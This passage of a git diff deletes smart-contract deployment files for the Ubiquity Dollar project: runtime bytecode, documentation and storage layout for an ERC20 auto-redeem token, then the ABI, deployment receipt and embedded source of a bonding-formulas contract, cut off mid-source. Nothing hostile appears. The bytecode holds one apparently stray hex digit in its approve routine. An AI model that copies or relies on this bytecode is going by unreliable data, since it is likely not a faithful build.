"0x608060405234801561001057600080fd5b50600436106101a35760003560e01c80635c975abb116100ee578063a457c2d711610097578063c47f002711610071578063c47f002714610370578063c621bf8a14610383578063d505accf14610396578063dd62ed3e146103a9576101a3565b8063a457c2d714610337578063a9059cbb1461034a578063b84c82461461035d576101a3565b80637ecebe00116100c85780637ecebe00146103075780638456cb591461032757806395d89b411461032f576101a3565b80635c975abb146102c057806370a08231146102cb57806379cc6790146102f4576101a3565b80633644e5151161015057806340c10f191161012a57806340c10f191461026a57806342966c681461027d578063481c6a7514610290576101a3565b80633644e51514610244578063395093511461024d5780633f4ba83a14610260576101a3565b806323b872dd1161018157806323b872dd146101fb57806330adf81f1461020e578063313ce56714610235576101a3565b806306fdde03146101a8578063095ea7b3146101c657806318160ddd146101e9575b600080fd5b6101b06103e2565b6040516101bd9190611d34565b60405180910390f35b6101d96101d4366004611c0f565b610474565b60405190151581526020016101bd565b6002545b6040519081526020016101bd565b6101d9610209366004611b5a565b61048a565b6101ed7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101bd565b6101ed60065481565b6101d961025b366004611c0f565b610555565b61026861058c565b005b610268610278366004611c0f565b6106e0565b61026861028b366004611d1c565b6108bf565b6005546102a89061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101bd565b60055460ff166101d9565b6101ed6102d9366004611ae3565b6001600160a01b031660009081526020819052604090205490565b610268610302366004611c0f565b610946565b6101ed610315366004611ae3565b60076020526000908152604090205481565b610268610b27565b6101b0610c79565b6101d9610345366004611c0f565b610c88565b6101d9610358366004611c0f565b610d3b565b61026861036b366004611c72565b610d48565b61026861037e366004611c72565b610eb7565b610268610391366004611d1c565b611022565b6102686103a4366004611b9a565b6110b6565b6101ed6103b7366004611b22565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600880546103f190611db6565b80601f016020809104026020016040519081016040528092919081815260200182805461041d90611db6565b801561046a5780601f1061043f5761010080835404028352916020019161046a565b820191906000526020600020905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b60006104813384846112d5565b50600192915050565b60006104978484846113fa565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61054a85336105458685611d9f565b6112d5565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610481918590610545908690611d87565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105dd57600080fd5b505afa1580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a9190611c3a565b6106d65760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161052d565b6106de611450565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107699190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107a657600080fd5b505afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de9190611c3a565b61082a5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161052d565b60055460ff16156108705760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61087a82826114ec565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156109055760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61090e816115d0565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b15801561099757600080fd5b505afa1580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611c3a565b610a905760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e657200000000604482015260640161052d565b60055460ff1615610ad65760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b610ae082826115dd565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b1b91815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb09190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610bed57600080fd5b505afa158015610c01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c259190611c3a565b610c715760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161052d565b6106de611738565b6060600980546103f190611db6565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161052d565b610d3133856105458685611d9f565b5060019392505050565b60006104813384846113fa565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610d9957600080fd5b505afa158015610dad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd19190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610e0e57600080fd5b505afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190611c3a565b610ea05760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161052d565b8051610eb3906009906020840190611a4a565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610f0857600080fd5b505afa158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610f7d57600080fd5b505afa158015610f91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb59190611c3a565b61100f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161052d565b8051610eb3906008906020840190611a4a565b6000600560019054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b15801561107257600080fd5b505afa158015611086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110aa9190611b06565b9050610eb381836106e0565b428410156111065760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a20455850495245440000000000000000000000000000000000604482015260640161052d565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b91908761115983611df1565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e001604051602081830303815290604052805190602001206040516020016111d292919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561123d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906112735750886001600160a01b0316816001600160a01b0316145b6112bf5760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e415455524500000000000000604482015260640161052d565b6112ca8989896112d5565b505050505050505050565b6001600160a01b03831661313375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166113985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60055460ff16156114405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61144b8383836117b3565b505050565b60055460ff166114a25760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161052d565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166115425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161052d565b61154e600083836119c5565b80600260008282546115609190611d87565b90915550506001600160a01b0382166000908152602081905260408120805483929061158d908490611d87565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016108b3565b6115da33826115dd565b50565b6001600160a01b03821661163d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161052d565b611649826000836119c5565b6001600160a01b038216600090815260208190526040902054818110156116bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161052d565b6116c78282611d9f565b6001600160a01b038416600090815260208190526040812091909155600280548492906116f5908490611d9f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016113ed565b60055460ff161561177e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586114cf3390565b6001600160a01b03831661182f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161052d565b6001600160a01b0382166118915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b61189c8383836119c5565b6001600160a01b0383166000908152602081905260409020548181101561192b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161052d565b6119358282611d9f565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061196b908490611d87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119b791815260200190565b60405180910390a350505050565b61144b8383836119d760055460ff1690565b1561144b5760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c652070617573656400000000000000000000000000000000000000000000606482015260840161052d565b828054611a5690611db6565b90600052602060002090601f016020900481019282611a785760008555611abe565b82601f10611a9157805160ff1916838001178555611abe565b82800160010185558215611abe579182015b82811115611abe578251825591602001919060010190611aa3565b50611aca929150611ace565b5090565b5b80821115611aca5760008155600101611acf565b600060208284031215611af4578081fd5b8135611aff81611e38565b9392505050565b600060208284031215611b17578081fd5b8151611aff81611e38565b60008060408385031215611b34578081fd5b8235611b3f81611e38565b91506020830135611b4f81611e38565b809150509250929050565b600080600060608486031215611b6e578081fd5b8335611b7981611e38565b92506020840135611b8981611e38565b929592945050506040919091013590565b600080600080600080600060e0888a031215611bb4578283fd5b8735611bbf81611e38565b96506020880135611bcf81611e38565b95506040880135945060608801359350608088013560ff81168114611bf2578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611c21578182fd5b8235611c2c81611e38565b946020939093013593505050565b600060208284031215611c4b578081fd5b81518015158114611aff578182fd5b600060208284031215611c6b578081fd5b5051919050565b600060208284031215611c83578081fd5b813567ffffffffffffffff80821115611c9a578283fd5b818401915084601f830112611cad578283fd5b813581811115611cbf57611cbf611e22565b604051601f8201601f19908116603f01168101908382118183101715611ce757611ce7611e22565b81604052828152876020848701011115611cff578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215611d2d578081fd5b5035919050565b6000602080835283518082850152825b81811015611d6057858101830151858201604001528201611d44565b81811115611d715783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611d9a57611d9a611e0c565b500190565b600082821015611db157611db1611e0c565b500390565b600181811c90821680611dca57607f821691505b60208210811415611deb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e0557611e05611e0c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146115da57600080fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "allowance(address,address)": { - "details": "See {IERC20-allowance}." - }, - "approve(address,uint256)": { - "details": "See {IERC20-approve}. Requirements: - `spender` cannot be the zero address." - }, - "balanceOf(address)": { - "details": "See {IERC20-balanceOf}." - }, - "burn(uint256)": { - "params": { - "amount": "the amount to burn" - } - }, - "burnFrom(address,uint256)": { - "params": { - "account": "the account to burn from", - "amount": "the amount to burn" - } - }, - "decimals()": { - "details": "Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}." - }, - "decreaseAllowance(address,uint256)": { - "details": "Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`." - }, - "increaseAllowance(address,uint256)": { - "details": "Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address." - }, - "name()": { - "details": "Returns the name of the token." - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "params": { - "deadline": "the deadline after which the approval is no longer valid", - "owner": "the uAD holder", - "spender": "the approved operator", - "value": "the amount approved" - } - }, - "raiseCapital(uint256)": { - "details": "you should be minter to call that function", - "params": { - "amount": "the amount to be minted" - } - }, - "setName(string)": { - "params": { - "newName": "new token name" - } - }, - "setSymbol(string)": { - "params": { - "newSymbol": "new token symbol" - } - }, - "symbol()": { - "details": "Returns the symbol of the token, usually a shorter version of the name." - }, - "totalSupply()": { - "details": "See {IERC20-totalSupply}." - }, - "transfer(address,uint256)": { - "details": "See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`." - }, - "transferFrom(address,address,uint256)": { - "details": "See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "burn(uint256)": { - "notice": "burn UAD tokens from caller" - }, - "burnFrom(address,uint256)": { - "notice": "burn uAD tokens from specified account" - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "notice": "permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD" - }, - "raiseCapital(uint256)": { - "notice": "raise capital in form of uAR (only redeemable when uAD > 1$)" - }, - "setName(string)": { - "notice": "setName update token name" - }, - "setSymbol(string)": { - "notice": "setSymbol update token symbol" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 1803, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 1809, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_allowances", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_uint256))" - }, - { - "astId": 1811, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_totalSupply", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 1813, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_name", - "offset": 0, - "slot": "3", - "type": "t_string_storage" - }, - { - "astId": 1815, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_symbol", - "offset": 0, - "slot": "4", - "type": "t_string_storage" - }, - { - "astId": 385, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_paused", - "offset": 0, - "slot": "5", - "type": "t_bool" - }, - { - "astId": 7586, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "manager", - "offset": 1, - "slot": "5", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 7588, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "DOMAIN_SEPARATOR", - "offset": 0, - "slot": "6", - "type": "t_bytes32" - }, - { - "astId": 7595, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "nonces", - "offset": 0, - "slot": "7", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 7597, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_tokenName", - "offset": 0, - "slot": "8", - "type": "t_string_storage" - }, - { - "astId": 7599, - "contract": "contracts/UbiquityAutoRedeem.sol:UbiquityAutoRedeem", - "label": "_symbol", - "offset": 0, - "slot": "9", - "type": "t_string_storage" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UbiquityFormulas.json b/packages/contracts/dollar/deployments/mainnet/UbiquityFormulas.json deleted file mode 100644 index 84d23639a..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UbiquityFormulas.json +++ /dev/null @@ -1,248 +0,0 @@ -{ - "address": "0x54F528979A50FA8Fe99E0118EbbEE5fC8Ea802F7", - "abi": [ - { - "inputs": [ - { - "internalType": "uint256", - "name": "_totalULP", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_totalUBOND", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "bondPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "_priceUBOND", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_shares", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_currentShareValue", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "bonding", - "outputs": [ - { - "internalType": "uint256", - "name": "_uBOND", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_multiplier", - "type": "uint256" - } - ], - "name": "durationMultiply", - "outputs": [ - { - "internalType": "uint256", - "name": "_shares", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uBOND", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_currentShareValue", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "redeemBonds", - "outputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_multiplier", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_price", - "type": "uint256" - } - ], - "name": "ugovMultiply", - "outputs": [ - { - "internalType": "uint256", - "name": "_newMultiplier", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - } - ], - "transactionHash": "0x0b47a00e1f5ba0348cc54cdb108142b230cd6c788e737b42ea63928118fce6a5", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x54F528979A50FA8Fe99E0118EbbEE5fC8Ea802F7", - "transactionIndex": 12, - "gasUsed": "1019931", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xb43b6b2a05537db13b89a51e8738d152970eb586a025fc2552ca2070bfc3fac0", - "transactionHash": "0x0b47a00e1f5ba0348cc54cdb108142b230cd6c788e737b42ea63928118fce6a5", - "logs": [], - "blockNumber": 12595543, - "cumulativeGasUsed": "2252845", - "status": 1, - "byzantium": true - }, - "args": [], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_totalULP\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_totalUBOND\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_targetPrice\",\"type\":\"uint256\"}],\"name\":\"bondPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_priceUBOND\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_shares\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_currentShareValue\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_targetPrice\",\"type\":\"uint256\"}],\"name\":\"bonding\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_uBOND\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uLP\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_multiplier\",\"type\":\"uint256\"}],\"name\":\"durationMultiply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_shares\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uBOND\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_currentShareValue\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_targetPrice\",\"type\":\"uint256\"}],\"name\":\"redeemBonds\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_uLP\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_multiplier\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_price\",\"type\":\"uint256\"}],\"name\":\"ugovMultiply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_newMultiplier\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"bondPrice(uint256,uint256,uint256)\":{\"details\":\"formula bond price\",\"params\":{\"_targetPrice\":\", target uAD price\",\"_totalUBOND\":\", total bond shares\",\"_totalULP\":\", total LP tokens\"},\"returns\":{\"_priceUBOND\":\", bond share price\"}},\"bonding(uint256,uint256,uint256)\":{\"details\":\"formula bonding\",\"params\":{\"_currentShareValue\":\", current share value\",\"_shares\":\", amount of shares\",\"_targetPrice\":\", target uAD price\"},\"returns\":{\"_uBOND\":\", amount of bonding shares\"}},\"durationMultiply(uint256,uint256,uint256)\":{\"details\":\"formula duration multiply\",\"params\":{\"_multiplier\":\", bonding discount multiplier = 0.0001\",\"_uLP\":\", amount of LP tokens\",\"_weeks\":\", mimimun duration of staking period\"},\"returns\":{\"_shares\":\", amount of shares\"}},\"redeemBonds(uint256,uint256,uint256)\":{\"details\":\"formula redeem bonds\",\"params\":{\"_currentShareValue\":\", current share value\",\"_targetPrice\":\", target uAD price\",\"_uBOND\":\", amount of bonding shares\"},\"returns\":{\"_uLP\":\", amount of LP tokens\"}},\"ugovMultiply(uint256,uint256)\":{\"details\":\"formula ugov multiply\",\"params\":{\"_multiplier\":\", initial ugov min multiplier\",\"_price\":\", current share price\"},\"returns\":{\"_newMultiplier\":\", new ugov min multiplier\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"bonding(uint256,uint256,uint256)\":{\"notice\":\"UBOND = _shares / _currentShareValue * _targetPrice\"},\"durationMultiply(uint256,uint256,uint256)\":{\"notice\":\"_shares = (1 + _multiplier * _weeks^3/2) * _uLP\"},\"redeemBonds(uint256,uint256,uint256)\":{\"notice\":\"_uLP = _uBOND * _currentShareValue / _targetPrice\"},\"ugovMultiply(uint256,uint256)\":{\"notice\":\"new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) )\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UbiquityFormulas.sol\":\"UbiquityFormulas\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"contracts/UbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\ncontract UbiquityFormulas {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n\\n /// @dev formula duration multiply\\n /// @param _uLP , amount of LP tokens\\n /// @param _weeks , mimimun duration of staking period\\n /// @param _multiplier , bonding discount multiplier = 0.0001\\n /// @return _shares , amount of shares\\n /// @notice _shares = (1 + _multiplier * _weeks^3/2) * _uLP\\n // D32 = D^3/2\\n // S = m * D32 * A + A\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) public pure returns (uint256 _shares) {\\n bytes16 unit = uint256(1 ether).fromUInt();\\n bytes16 d = _weeks.fromUInt();\\n bytes16 d32 = (d.mul(d).mul(d)).sqrt();\\n bytes16 m = _multiplier.fromUInt().div(unit); // 0.0001\\n bytes16 a = _uLP.fromUInt();\\n\\n _shares = m.mul(d32).mul(a).add(a).toUInt();\\n }\\n\\n /// @dev formula bonding\\n /// @param _shares , amount of shares\\n /// @param _currentShareValue , current share value\\n /// @param _targetPrice , target uAD price\\n /// @return _uBOND , amount of bonding shares\\n /// @notice UBOND = _shares / _currentShareValue * _targetPrice\\n // newShares = A / V * T\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) public pure returns (uint256 _uBOND) {\\n bytes16 a = _shares.fromUInt();\\n bytes16 v = _currentShareValue.fromUInt();\\n bytes16 t = _targetPrice.fromUInt();\\n\\n _uBOND = a.div(v).mul(t).toUInt();\\n }\\n\\n /// @dev formula redeem bonds\\n /// @param _uBOND , amount of bonding shares\\n /// @param _currentShareValue , current share value\\n /// @param 